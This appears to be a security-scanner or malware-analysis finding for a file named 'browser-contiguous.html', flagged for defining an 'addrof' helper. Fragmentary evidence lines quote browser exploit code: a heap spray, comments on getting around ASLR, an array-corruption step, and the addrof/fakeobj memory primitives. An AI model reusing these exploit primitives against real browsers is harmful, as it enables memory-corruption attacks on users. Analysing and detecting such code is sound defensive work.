browser-contiguous.html
Defines addrof object-address helper
SHA-2565ec1eb72957b250a719e6bac539d63f83516b1d4c2e5c48ff098eb377bacfe86
MaleculeH(Mg)
Evidence
⋯4 lines
26 lowerBound *= 2 ** 30;
27 lowerBound *= 2;
28 for (var i = 1; i >= lowerBound; i--) {
29 if (i === 1 || i === lowerBound + 0x23dfffe || i == …
46:59… iguous in browser),
47 allocate ONE 16GB buffer and create views into it.
48 This guarantees contiguity regardless of ASLR. */
49
50out('Allocating contiguous spray buffer...','info …
53:36… rayBuffer (browser limit).
54 Instead, allocate the spray arrays individually but use a different
55 approach for the crossing:
56
57 The KEY insight …
58:25… ray (sp[63]) and the VICTIM array (sp[1])
59 to have a KNOWN relative distance.
60
61 If we allocate them from the SAME ArrayBuffer, they share one mm …
121:37… corruption successful!','ok');
122
123 /* Continue with addrof/fakeobj etc... */
124 var bigIntArray = sprayRefArr[0];
125 var objArr = sprayRefArr[corrupted];
126
127 function addrof(o){objArr[0x403fffe]=o;return bigIntArray[0]}
128 function fakeobj(a){bigIntArray[0]=a;return objArr[0x403fffe]}
129
130 out('[+] addrof = 0x'+addrof(arr).toString(16),'ok');
131 out('[+] fakeobj …